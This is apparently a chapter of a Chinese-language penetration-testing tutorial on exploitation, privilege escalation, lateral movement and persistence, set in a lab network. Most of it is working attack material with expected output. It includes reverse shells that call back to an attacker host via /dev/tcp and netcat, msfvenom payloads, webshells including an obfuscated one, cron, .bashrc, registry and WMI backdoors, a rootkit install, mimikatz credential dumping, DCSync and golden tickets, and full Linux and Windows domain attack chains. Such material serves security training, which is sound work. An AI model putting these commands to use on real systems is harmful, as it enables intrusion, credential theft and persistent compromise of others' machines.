10 — 漏洞利用与提权
哲学:漏洞利用不是”找到漏洞然后打”——是利用链的构建。信息收集 → 服务识别 → Exploit → Shell → 提权 → 持久化 → 横向移动。每一步都是下一步的跳板。
环境:Kali Linux 2024+,Metasploit Framework,Python3,Impacket,CrackMapExec。
目标:从拿到低权限 Shell 到 SYSTEM/Domain Admin 的完整攻击链,覆盖 Linux 与 Windows 两大平台。
Part 2: SearchSploit / Exploit-DB
searchsploit 是 Exploit-DB 的离线命令行版本,Kali 预装。每次执行 searchsploit -u 更新数据库。
实战4:按内核版本查找提权漏洞
步骤1:在目标机获取内核信息
uname -a预期输出:
Linux target 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:11:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
步骤2:搜索对应内核
searchsploit linux kernel 4.15预期输出:
Exploit Title | Path
Linux Kernel 4.15.x - 'map_write()' CAP_SYS_ADMIN In Container Privilege Escala | linux/local/44935.c
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation | linux/local/47163.txt
Linux Kernel 4.14.0-rc4+ < 4.14.8 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel 4.15 < 4.16.14 - Userfaultfd bypass tmpfs Permission | linux/local/44299.c
Linux Kernel 4.4 (Debian/Ubuntu 16.04 / Fedora 22) - af_packet Socket Race Condi | linux/local/44298.c
步骤3:按精确版本号缩小范围
searchsploit linux kernel 4.15.0 | grep -i privsearchsploit ubuntu 22.04 privilegesearchsploit linux kernel --exclude="dos" # 排除拒绝服务类步骤4:下载 exploit
searchsploit -m 44298
# 或按路径下载
searchsploit -m linux/local/44298.c预期输出:
Exploit: Linux Kernel 4.4 (Debian/Ubuntu 16.04) - 'af_packet' Race Condition Privilege Escalation
URL: https://www.exploit-db.com/exploits/44298
Path: /usr/share/exploitdb/exploits/linux/local/44298.c
Codes: CVE-2017-7308
Verified: True
File Type: C source, ASCII text
Copied to: /home/user/44298.c
步骤5:编译并执行
gcc 44298.c -o exploit -lpthread
# 如果遇到32位目标
gcc -m32 44298.c -o exploit
# 如果目标没有gcc
gcc -static 44298.c -o exploit -lpthread # 静态链接,减少依赖上传到目标:
# 方法1:Python HTTP Server
python3 -m http.server 8080
# 目标机上
wget http://192.168.56.101:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
/tmp/exploit预期输出:
[.] starting
[.] checking kernel version
[.] kernel version '4.15.0-142-generic' detected
[.] setting up namespace sandbox
[.] up and running
[+] successfully got root
# id
uid=0(root) gid=0(root) groups=0(root)
步骤6:复合搜索技巧
searchsploit sudo
searchsploit suid
searchsploit polkit
searchsploit dbus
searchsploit dirty pipe
searchsploit overlayfs
searchsploit af_packet
searchsploit netfilter实战5:按服务版本查找漏洞
步骤1:服务扫描
nmap -sV -sC -p- 192.168.56.102预期输出:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.49 ((Unix))
8080/tcp open http Apache Tomcat 8.5.32
3306/tcp open mysql MySQL 5.5.62
步骤2:按服务搜索
searchsploit apache 2.4.49预期输出:
Exploit Title | Path
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50383.py
步骤3:批量提取所有服务版本
# 将 nmap 输出转成 XML 供 searchsploit 解析
nmap -sV -oX target_scan.xml 192.168.56.102
searchsploit --nmap target_scan.xml步骤4:按 CVE 搜索
searchsploit --cve 2021-41773 # Apache 路径穿越
searchsploit --cve 2019-0211 # Apache root 提权
searchsploit --cve 2014-6271 # ShellShock
searchsploit --cve 2017-7494 # SambaCry步骤5:用通配符模糊搜索
searchsploit wordpress plugin
searchsploit php cms
searchsploit "remote code execution" apache步骤6:查看 exploit 内容而不下载
searchsploit -x 44298 # 直接用 less 查看
searchsploit -w 44298 # 复制 URL 到剪贴板Part 3 补充:更多 Linux 提权方法
实战10.1:NFS 提权
如果 /etc/exports 有 no_root_squash:
cat /etc/exports
# /data *(rw,no_root_squash)在攻击机上挂载并放置 SUID 文件:
mkdir /mnt/nfs
mount -t nfs 192.168.56.102:/data /mnt/nfs
cp /bin/bash /mnt/nfs/
chmod +s /mnt/nfs/bash
# 在目标机上
/data/bash -p实战10.2:LXC / LXD 提权
如果当前用户在 lxd 组中:
# 攻击机
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python3 -m http.server 8080
# 目标机
wget http://192.168.56.101:8080/alpine-v3.18-x86_64-20240610_1105.tar.gz -O /tmp/alpine.tar.gz
lxc image import /tmp/alpine.tar.gz --alias privesc
lxc init privesc pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned
lxc exec pwned /bin/sh
# 现在在容器中,/mnt/root 就是宿主根目录
cd /mnt/root
chroot /mnt/root /bin/bash实战10.3:Docker 提权(补充)
# 除了 --privileged 提权,还可以
docker run -v /:/host -it ubuntu chroot /host /bin/bash
# 如果 docker.sock 可写
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
# 或者用 docker 创建 root 后门
docker run -d --name backdoor --restart always -v /:/host alpine chroot /host nc -lvnp 5555 -e /bin/bash实战10.4:Capabilities 提权(补充)
# 检查
getcap -r / 2>/dev/null
# cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_chown+ep
cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# cap_sys_ptrace+ep
# 注入到 root 进程中执行代码
# cap_dac_read_search+ep
# 绕过文件读权限 → cat /etc/shadow实战10.5:Passwd 文件写权限
ls -la /etc/passwd
# -rwxrwxrwx 1 root root 2198 Jun 10 08:00 /etc/passwd如果可写,添加一个 root 用户:
# 生成密码哈希
openssl passwd -1 -salt hacker password123
# $1$hacker$VhTjH.bBqAQ2NOhdxlYZL.
echo 'hacker:$1$hacker$VhTjH.bBqAQ2NOhdxlYZL.:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
password: password123
id
# uid=0(root) gid=0(root)实战10.6:Shadow 文件读权限
cat /etc/shadow
# root:$6$xyz...:19000:0:99999:7:::拿到 root hash → Hashcat 或 John 爆破:
echo 'root:$6$xyz...:19000:0:99999:7:::' > hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt实战10.7:Sudo 通配符绕过
如果 sudo -l 显示可以运行某个带通配符的命令:
# (root) NOPASSWD: /usr/bin/cat /var/log/*
# 绕过方法:读 /etc/shadow
sudo cat /var/log/../../../etc/shadow实战10.8:LD_PRELOAD 提权(sudo 配合)
如果 sudo -l 允许保留环境变量(env_keep+=LD_PRELOAD):
# shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}gcc -fPIC -shared -nostartfiles shell.c -o /tmp/shell.so
sudo LD_PRELOAD=/tmp/shell.so apache2实战10.9:Logrotate 提权
如果 logrotate 的配置文件可写:
ls -la /etc/logrotate.d/
# -rwxrwxrwx 1 root root 123 Jun 10 08:00 myappecho '/var/log/myapp.log {
daily
create 0777 root root
}' > /etc/logrotate.d/myapp
# 等 logrotate cron 执行后创建任意 SUID 文件使用 logrotten 工具:
chmod +x logrotten
./logrotten -p ./payload实战10.10:Screen 4.5.0 提权
screen -v
# Screen version 4.05.00 (GNU) 10-Dec-16
# CVE-2017-5618
searchsploit screen 4.5
# 编译然后执行 libhax.so 和 rootshell
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
# 上传 libhax.so 和 rootshell 到 /tmp
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshellPart 4 补充:更多 Windows 提权方法
实战14.1:未引用服务路径(Unquoted Service Path)
wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i /v """预期输出:
MyService C:\Program Files\My App\service.exe
路径中有空格且未加引号。Windows 会尝试按顺序执行:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
利用:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o Program.exe上传到 C:\Program Files\ 然后重启服务:
sc stop MyService
sc start MyService实战14.2:可写服务路径
icacls "C:\Program Files\MyApp\service.exe"
# Everyone:(F) 或 BUILTIN\Users:(M)如果可写:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o payload.execopy /y payload.exe "C:\Program Files\MyApp\service.exe"
sc start MyService实战14.3:服务配置可修改
accesschk.exe -uwcqv "Authenticated Users" * /accepteula如果 SERVICE_CHANGE_CONFIG 可用:
sc config MyService binPath= "cmd.exe /c C:\Users\Public\shell.exe"
sc start MyService实战14.4:注册表 AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都是 0x1生成恶意 MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f msi -o mal.msi在目标上:
msiexec /quiet /qn /i mal.msi实战14.5:不安全的 GUI 应用
如果目标用户运行了以 SYSTEM 身份启动的 GUI 应用:
tasklist /v | findstr /i "SYSTEM"若发现 GUI 进程(如任务管理器、注册表编辑器等):
Ctrl+Shift+Esc → 文件 → 运行新任务 → cmd.exe → 勾选"以系统管理权限创建"
实战14.6:Scheduled Tasks 劫持
schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run"找到 SYSTEM 运行且脚本/可执行文件可写的任务:
icacls "C:\Tasks\cleanup.ps1"
# Everyone:(F)echo "C:\Users\Public\nc.exe 192.168.56.101 4444 -e cmd.exe" > "C:\Tasks\cleanup.ps1"实战14.7:SMBGhost / EternalBlue 等 N-Day 漏洞
# 检测 SMB 版本
nmap -p445 --script smb-protocols 192.168.56.102# EternalBlue (MS17-010)
searchsploit eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.102
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.101
run# SMBGhost (CVE-2020-0796)
searchsploit smbghost实战14.8:Zerologon(CVE-2020-1472)
针对域控制器 Netlogon 协议漏洞:
# 检测
python3 zerologon_tester.py DC_NAME 192.168.56.10
# 利用
python3 cve-2020-1472-exploit.py DC_NAME 192.168.56.10
secretsdump.py -no-pass DOMAIN/DC_NAME\$@192.168.56.10
# 导出 administrator 的 NTLM hashPart 5 补充:更多横向移动方法
实战18.1:DCOM 远程执行
# MMC20.Application
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.56.20")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c C:\Users\Public\shell.exe","7")实战18.2:WinRM / PSRemoting
$pass = ConvertTo-SecureString "Password123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\Administrator", $pass)
Invoke-Command -ComputerName SRV01 -Credential $cred -ScriptBlock { whoami }
Enter-PSSession -ComputerName SRV01 -Credential $credLinux 上用 evil-winrm:
evil-winrm -i 192.168.56.10 -u Administrator -p Password123
evil-winrm -i 192.168.56.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0实战18.3:RDP 横向
xfreerdp /u:Administrator /p:Password123 /v:192.168.56.10
xfreerdp /u:Administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.56.10 # PTH RDP实战18.4:SMB 共享穿越
smbclient -L //192.168.56.10 -U CORP/Administrator
smbclient //192.168.56.10/C$ -U CORP/Administrator
# 登录后
put shell.exe \Users\Public\shell.exesmbexec.py CORP/Administrator:Password123@192.168.56.10实战18.5:MSSQL 横向(数据库链路)
如果发现 MSSQL 实例:
impacket-mssqlclient CORP/Administrator:Password123@192.168.56.20
# 或 Windows auth
impacket-mssqlclient CORP/Administrator:Password123@192.168.56.20 -windows-auth在 MSSQL 客户端中:
SELECT @@version;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -enc ...';检查 MSSQL 数据库链路:
SELECT * FROM sys.servers;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [LINKED_SERVER];
EXEC ('xp_cmdshell ''powershell -enc ...''') AT [LINKED_SERVER];Part 6 补充:更多持久化方法
实战21.1:.bashrc / .profile 后门
echo 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1 &' >> /root/.bashrc
echo 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1 &' >> /home/*/.bashrc用户每次登录 SSH 都会触发。
实战21.2:LD_PRELOAD 后门
// backdoor.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor)) void backdoor() {
if (fork() == 0) {
execl("/bin/bash", "bash", "-c",
"bash -i >& /dev/tcp/192.168.56.101/5555 0>&1", NULL);
}
}gcc -shared -fPIC backdoor.c -o /lib/libseccomp.so.2
echo "/lib/libseccomp.so.2" >> /etc/ld.so.preload实战21.3:PAM 后门
# 替换 pam_unix.so 或修改 /etc/pam.d/common-auth
# 添加万能密码实战21.4:WebShell 后门
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/_.php
# 或更隐蔽的
echo '<?php eval(gzinflate(base64_decode("...encoded_payload..."))); ?>' > /var/www/html/modules.php
curl http://192.168.56.102/_.php?cmd=id实战21.5:Windows 注册表 Run 键后门
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /t REG_SZ /d "C:\Users\Public\shell.exe" /f实战21.6:Windows 计划任务持久化
schtasks /create /tn "SecurityUpdate" /tr "C:\Users\Public\shell.exe" /sc daily /st 09:00 /ru SYSTEM
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc <base64>" /sc onstart /ru SYSTEM实战21.7:WMI 事件订阅(Windows)
# 每当 notepad.exe 启动时触发后门
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="NotepadFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'"
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="NotepadConsumer", ExecutablePath="C:\Users\Public\shell.exe", CommandLineTemplate="C:\Users\Public\shell.exe"
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"NotepadFilter\"", Consumer="CommandLineEventConsumer.Name=\"NotepadConsumer\""实战21.8:RDP 后门(Sticky Keys)
# 替换粘滞键为 cmd
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Everyone:F
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# 在 RDP 登录界面按 5 次 Shift → 弹出 SYSTEM 权限的 cmd实战21.9:Linux 内核模块后门(高级)
需要 root + 内核开发环境:
# 编写一个简单的内核模块 hook syscall
# LKM rootkit: Diamorphine / Reptile
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko
# kill -63 0 → 隐藏模块
# kill -64 PID → 对 PID 提升为 rootPart 8: 综合攻击链
实战25:完整的 Linux 攻击链
目标:192.168.56.102 (Ubuntu 20.04 LTS Web 服务器)
Phase 1: 侦察
→ nmap -sV -sC -p- 192.168.56.102
→ 发现: 80/tcp Apache 2.4.49, 22/tcp OpenSSH 8.2
Phase 2: 初始立足
→ searchsploit apache 2.4.49
→ RCE via CVE-2021-41773
→ curl 'http://192.168.56.102/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh' -d 'A=|id'
→ Shell as www-data
Phase 3: 提权
→ sudo -l → (root) NOPASSWD: /usr/bin/find
→ sudo find / -exec /bin/sh -p \; -quit
→ uid=0(root)
Phase 4: 凭据收集
→ cat /etc/shadow → save for offline crack
→ grep -r "password" /var/www → find DB creds
→ ls /home/*/.ssh → find SSH keys
Phase 5: 持久化
→ echo "ssh-rsa ..." >> /root/.ssh/authorized_keys
→ echo "@reboot root /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1'" >> /etc/crontab
Phase 6: 横向移动
→ arp -a → discover 192.168.56.20, .30
→ ssh-agent forwarding → jump to 192.168.56.20
实战26:完整的 Windows 攻击链
目标域:CORP.local
DC: 192.168.56.10
SRV01: 192.168.56.20
SRV02: 192.168.56.30
Phase 1: 初始侦察
→ crackmapexec smb 192.168.56.0/24
→ 发现三台 Windows 主机
Phase 2: 初始立足
→ SRV01 运行 IIS with SQLi vulnerability
→ sqlmap -u "http://192.168.56.20/products?id=1" --os-shell
→ Shell as IIS APPPOOL\DefaultAppPool
Phase 3: 本地提权
→ whoami /priv → SeImpersonatePrivilege
→ PrintSpoofer.exe -i -c "C:\temp\nc.exe 192.168.56.101 4444 -e cmd"
→ SYSTEM on SRV01
Phase 4: 凭据提取
→ .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
→ 发现 Domain User jsmith:Summer2024!
→ 发现 Machine Account SRV01$:hash
Phase 5: 域枚举
→ net group "Domain Admins" /domain → admin, jwilson
→ BloodHound / SharpHound
→ 发现 jsmith 对 SRV02 有 GenericWrite
Phase 6: 横向移动
→ crackmapexec smb 192.168.56.30 -u jsmith -p 'Summer2024!'
→ Pwn3d! SRV02
→ wmiexec.py CORP/jsmith:Summer2024!@192.168.56.30
Phase 7: 再次提权
→ SRV02 上的 jsmith 是本地 Administrator
→ sekurlsa::logonpasswords → 发现 Domain Admin jwilson 的 hash (缓存在 LSASS)
→ PTH → psexec.py -hashes :jwilson_hash CORP/jwilson@192.168.56.10
→ SYSTEM on DC01
Phase 8: DCSync & 持久化
→ mimikatz # lsadump::dcsync /user:krbtgt
→ 获取 KRBTGT hash → 黄金票据
→ reg add HKLM\... 注册 Run 键
→ 创建域管后门账户
Part 9: 附录
常见端口及对应服务
21 FTP → vsftpd, ProFTPD
22 SSH → OpenSSH, Dropbear
23 Telnet → telnetd
25 SMTP → Postfix, Exim, Sendmail
53 DNS → BIND, dnsmasq
80 HTTP → Apache, Nginx, IIS
88 Kerberos → KDC (DC)
111 RPCBind → rpcbind
135 RPC → Windows RPC Endpoint Mapper
139 NetBIOS → SMB over NetBIOS
389 LDAP → AD, OpenLDAP
443 HTTPS → Apache, Nginx, IIS
445 SMB → Windows SMB, Samba
636 LDAPS → AD, OpenLDAP
1433 MSSQL → SQL Server
1521 Oracle → Oracle DB
2049 NFS → Network File System
3306 MySQL → MySQL/MariaDB
3389 RDP → Remote Desktop
5432 PostgreSQL → PostgreSQL
5900 VNC → VNC Server
5985 WinRM → Windows Remote Management
5986 WinRM SSL → Windows Remote Management
6379 Redis → Redis
8080 HTTP-Alt → Tomcat, Jenkins, etc
27017 MongoDB → MongoDB
NTLM Hash vs LM Hash
LM Hash: 大写密码14字符 → 分两半 DES → E52CAC67419A9A22...
(早被淘汰, 默认全是 aad3b435b51404eeaad3b435b51404ee)
NTLM Hash: MD4(Unicode) → 31d6cfe0d16ae931b73c59d7e0c089c0
用于 Pass-the-Hash 的就是这个
Net-NTLMv1/v2: 挑战-响应机制中产生的哈希, 不能用于 PTH
Impacket 工具速查
psexec.py # 远程执行 (需 Admin$ 共享)
wmiexec.py # WMI 远程执行 (需 DCOM 权限)
smbexec.py # SMB 远程执行 (基于服务)
dcomexec.py # DCOM 远程执行
atexec.py # 计划任务执行
secretsdump.py # 导出 SAM/SECRETS/NTDS
mssqlclient.py # MSSQL 客户端
ticketer.py # Kerberos 票据生成
getTGT.py # 获取 TGT
GetNPUsers.py # AS-REP Roasting
GetUserSPNs.py # Kerberoasting
ntlmrelayx.py # NTLM 中继
smbserver.py # 临时 SMB 服务器Linux 提权检查清单
id— 检查组成员 (docker/lxd/adm/sudo)sudo -l— 可执行的 sudo 命令uname -a— 内核版本cat /etc/crontab; ls -la /etc/cron*— Cron 任务find / -perm -4000 -type f 2>/dev/null— SUID 二进制getcap -r / 2>/dev/null— Capabilitiesss -tlnp— 内部服务find / -writable -type f 2>/dev/null | grep -v proc— 可写文件cat /etc/exports— NFS 共享配置cat /etc/fstab— 文件系统挂载配置ls -la /var/run/docker.sock— Docker Socketcat ~/.bash_history— 历史命令中的凭据grep -r "password" /etc 2>/dev/null— 配置文件中的凭据./linpeas.sh— 一键自动化
Windows 提权检查清单
whoami /all— 用户和特权systeminfo— 系统版本和补丁net user / net localgroup— 本地用户和组netstat -ano— 网络连接和内部服务schtasks /query /fo LIST /v— 计划任务sc query state= all— 服务列表wmic qfe get Caption,HotFixID— 补丁列表icaclson services paths — 服务路径权限reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"— 自动登录cmdkey /list— 凭据管理器dir C:\*.xml /s— Unattended 文件type C:\Windows\system32\drivers\etc\hosts— 主机名映射.\\winPEASx64.exe— 一键自动化